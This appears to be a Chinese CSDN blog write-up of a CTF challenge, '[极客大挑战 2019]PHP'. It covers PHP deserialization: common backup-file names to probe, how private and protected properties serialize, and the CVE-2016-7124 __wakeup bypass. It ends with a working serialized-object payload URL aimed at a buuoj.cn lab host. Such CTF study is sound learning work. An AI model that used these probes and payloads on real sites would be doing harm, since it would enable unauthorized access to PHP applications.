[极客大挑战 2019]PHP1

常见的网站源码备份文件后缀:

tar.gz,zip,rar,tar

常见的网站源码备份文件名:

web,website,backup,back,www,wwwroot,temp
 

关于payload构造:

<?php
  include 'flag.php';


error_reporting(0);


class Name{
  private $username = 'nonono';
  private $password = 'yesyes';

  /**
 一定要模仿这个进行payload构造
 一定要模仿这个进行payload构造,题目中啥变量啥类型就写啥
 一定要模仿这个进行payload构造
 一定要模仿这个进行payload构造
 一定要模仿这个进行payload构造
 一定要模仿这个进行payload构造
 */


  public function __construct($username,$password){
    $this->username = $username;
    $this->password = $password;
  }

  function __wakeup(){
    $this->username = 'guest';
    /***
__wakeup绕过(CVE-2016-7124)
CVE-2016-7124:当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行
CVE-2016-7124:当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行
CVE-2016-7124:当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行


 */
  }

  function __destruct(){
    if ($this->password != 100) {
      echo "</br>NO!!!hacker!!!</br>";
      echo "You name is: ";
      echo $this->username;echo "</br>";
      echo "You password is: ";
      echo $this->password;echo "</br>";
      die();
    }
    if ($this->username === 'admin') {
      global $flag;
      echo $flag;
    }else{
      echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
      die();


    }
  }
}
?>

public、protected、private

PHP 对属性或方法的访问控制,是通过在前面添加关键字 public(公有),protected(受保护)或 private(私有)来实现的。

public(公有):公有的类成员可以在任何地方被访问。

protected(受保护):受保护的类成员则可以被其自身以及其子类和父类访问。

private(私有):私有的类成员则只能被其定义所在的类访问。

注意:访问控制修饰符不同,序列化后属性的长度和属性值会有所不同,如下所示:

不同关键字序列化后:

public:属性被序列化的时候属性值会变成 属性名

protected:属性被序列化的时候属性值会变成 \x00*\x00属性名

private:属性被序列化的时候属性值会变成 \x00类名\x00属性名

其中:\x00表示空字符,但是还是占用一个字符位置(空格)用%00代替 ,如下例

User Hardworking666 is 18 years old.
O:4:"User":2:{s:3:"age";i:18;s:4:"name";s:14:"Hardworking666";}
1
2
下面的 O:4:"User":2:{s:3:"age";i:18;s:4:"name";s:14:"Hardworking666";} 就是对象user序列化后的形式。

“O”表示对象,“4”表示对象名长度为4,“User”为对象名,“2”表示有2个参数。

“{}”里面是参数的key和value,

PHP反序列化漏洞详解(万字分析、由浅入深)_php反序列化漏洞原理-CSDN博客

__wakeup绕过(CVE-2016-7124)

CVE-2016-7124:当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行

payload构造:

http://812103b9-8e61-429f-a7f3-d829a415849c.node5.buuoj.cn:81/?select=O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;s:3:%22100%22;}

  • 3
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值